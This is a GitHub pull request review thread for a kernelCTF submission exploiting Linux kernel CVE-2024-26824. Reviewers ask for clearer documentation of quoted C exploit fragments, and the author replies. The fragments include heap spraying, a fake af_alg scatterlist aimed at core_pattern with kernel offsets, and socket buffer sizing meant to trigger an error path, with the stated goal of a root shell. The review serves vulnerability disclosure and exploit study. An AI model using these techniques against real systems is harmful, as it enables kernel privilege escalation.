Add kernelCTF CVE-2024-26824_mitigation#256
Conversation
update from upstream
513da39 to
6cce0ca
Compare
koczkatamas
left a comment
There was a problem hiding this comment.
Please fix your submission to follow the style guide (it's a requirement!): https://google.github.io/security-research/kernelctf/style_guide
I left a few comments, but don't consider this as a comprehensive list of issues needs to be fixed.
| void do_spray() | ||
| { | ||
| memset(payload, 0, 0x400); | ||
| *(size_t *)&payload[0] = ktext + 0x2db3720; |
There was a problem hiding this comment.
Comment what is 0x2db3720.
There was a problem hiding this comment.
Resolved in the code. I've replaced 0x2db3720 with the CORE_PATTERN_OFFSET definition to make its intent clear.
|
|
||
| void do_spray() | ||
| { | ||
| memset(payload, 0, 0x400); |
There was a problem hiding this comment.
Comment "payload == af_alg_sgl, sgl->sgt.sgl == core_pattern" (if that's correct).
There was a problem hiding this comment.
Done. I've renamed payload to af_alg_sgl and updated the comments detailing how it points to core_pattern.
|
|
||
| #define STEXT 0xffffffff81000000 | ||
|
|
||
| unsigned long long fake_buf[43] = { |
There was a problem hiding this comment.
Include script which generates this buffer or describe how this was generated. Rename from fake_buf to something which clearly describes its purpose.
There was a problem hiding this comment.
I've added detailed block comments to document the origin of this payload. Specifically, the array now directly contains the physical memory layout of a whole page (4KB) covering the core_pattern buffer string. This entire heap layout was dynamically dumped from GDB during exploit testing. Because the exploit relies on a data-oriented layout collision extracted via debugger dumps, an algorithmic generation script wasn't used.
| 0x0000000000001000, | ||
| }; | ||
|
|
||
| unsigned long long fake_buf2[33] = { |
There was a problem hiding this comment.
Include script which generates this buffer or describe how this was generated. Rename from fake_buf2 to something which clearly describes its purpose.
There was a problem hiding this comment.
(This comment originally applied to what is now merged into fake_buf). I've added extensive comments describing how fake_buf is literally a raw memory dump of an entire 4KB page structure
| #define ARRAY_LEN(x) (sizeof(x) / sizeof(x[0])) | ||
|
|
||
| int tfmfd, opfd; | ||
| char *victim_addr; |
There was a problem hiding this comment.
Done, unused variables have been removed.
| char payload[0x1000]; | ||
| int cfd[2]; | ||
| int sfd[0x200][2]; | ||
| pthread_t tid[0x100]; |
There was a problem hiding this comment.
Use THREAD_NUM instead of 0x100
There was a problem hiding this comment.
Done. Array allocations and loops now use THREAD_NUM.
| { | ||
| memset(payload, 0, 0x400); | ||
| *(size_t *)&payload[0] = ktext + 0x2db3720; | ||
| payload[560] = 0; |
There was a problem hiding this comment.
What field do you set here? Why?
There was a problem hiding this comment.
remove unnecessary set
| if (fake_buf2[i] > 0xffffffff81000000ULL) | ||
| fake_buf2[i] = fake_buf2[i] - 0xffffffff81000000ULL + ktext; | ||
|
|
||
| char* mem = SYSCHK(mmap(NULL, 0x30000000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0)); |
There was a problem hiding this comment.
Explain why 0x30000000?
There was a problem hiding this comment.
remove this unnecessary code
| .rlim_max = 0xf000}; | ||
| setrlimit(RLIMIT_NOFILE, &rlim); | ||
|
|
||
| int pfd[0x100][2]; |
There was a problem hiding this comment.
Use PIPE_COUNT instead of 0x100.
| char *anon = SYSCHK(mmap(NULL, 0x1000000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0)); | ||
| for (int i = 0; i < 0x1000000; i += 0x1000) | ||
| { | ||
| memcpy(anon + i + 0x3e0, fake_buf, 0x158); |
There was a problem hiding this comment.
Use defines for the offsets, so it's clear what is set.
|
|
||
| int tfmfd, opfd; | ||
| char *victim_addr; | ||
| char buf[0x5000]; |
There was a problem hiding this comment.
Do not use global buf. Hard to understand what the code does.
There was a problem hiding this comment.
Resolved. I removed the generic global buf variable entirely, and migrated thread synchronization logic to use local buffers like local_buf[0x1000] within the thread execution methods and sync_buf[1] inside main().
| int n = 0x800; | ||
| setsockopt(sfd[i][1], SOL_SOCKET, SO_SNDBUF, (char *)&n, sizeof(n)); | ||
| setsockopt(sfd[i][0], SOL_SOCKET, SO_RCVBUF, (char *)&n, sizeof(n)); | ||
| write(sfd[i][1], buf, 0x1000); |
There was a problem hiding this comment.
What's the content of the buf at this point? Does it matter?
There was a problem hiding this comment.
It does not matter! I've clarified this by changing the variable name to sync_buf and added a comment. It is just a 1-byte arbitrary token used to strictly block and synchronize unix socket thread states.
| .msg_iovlen = 1, | ||
| .msg_iov = &iov, | ||
| .msg_control = buf, | ||
| .msg_controllen = 0x4cdf, |
There was a problem hiding this comment.
I've updated the comment to be accurate. The size 0x4cdf is used to increase the sk_omem_alloc field until it is just below the optmem_max limit. This ensures that a subsequent sock_kmalloc call fails, which is the intended behavior to trigger the exploit's error path
|
|
||
| // Manually constructed fake pipe_buf_operations structure and stack pivot/ROP chain | ||
| unsigned long long fake_ops_and_rop[43] = { | ||
| 0xffffffff83db3480, |
There was a problem hiding this comment.
Comment on every element which fields are set (if they are structure fields) and which kernel symbols are used as values (or ROP chain gadgets).
There was a problem hiding this comment.
its not relative to any rop, removed
|
|
||
| // Manually constructed fake pipe_buffer structure | ||
| unsigned long long fake_pipe_buffer[33] = { | ||
| 0xffffffff83257ccf, |
There was a problem hiding this comment.
Neither the size nor the content match the pipe_buffer structure:
struct pipe_buffer {
struct page * page; /* 0 8 */
unsigned int offset; /* 8 4 */
unsigned int len; /* 12 4 */
const struct pipe_buf_operations * ops; /* 16 8 */
unsigned int flags; /* 24 4 */
long unsigned int private; /* 32 8 */
/* size: 40, cachelines: 1, members: 6 */
};
Please comment here what's here exactly.
There was a problem hiding this comment.
its not relative to any fake_pipe_buffer, removed
| .msg_iovlen = 1, | ||
| .msg_iov = &iov, | ||
| .msg_control = msg_control_buf, | ||
| // Size 0x4cdf is chosen perfectly to corrupt the proper adjacent target cache object distance |
There was a problem hiding this comment.
Writeup says the goal of the call is to increase the sk_omem_alloc field, it says nothing about "corrupt the proper adjacent target cache object".
Also nothing about this mentioned in the "Step 3: Overwriting core_pattern and Root Shell Setup" section.
So what's this call doing?
There was a problem hiding this comment.
The size 0x4cdf is used to increase the sk_omem_alloc field until it is just below the optmem_max limit. This ensures that a subsequent sock_kmalloc call fails, which is the intended behavior to trigger the exploit's error path
No description provided.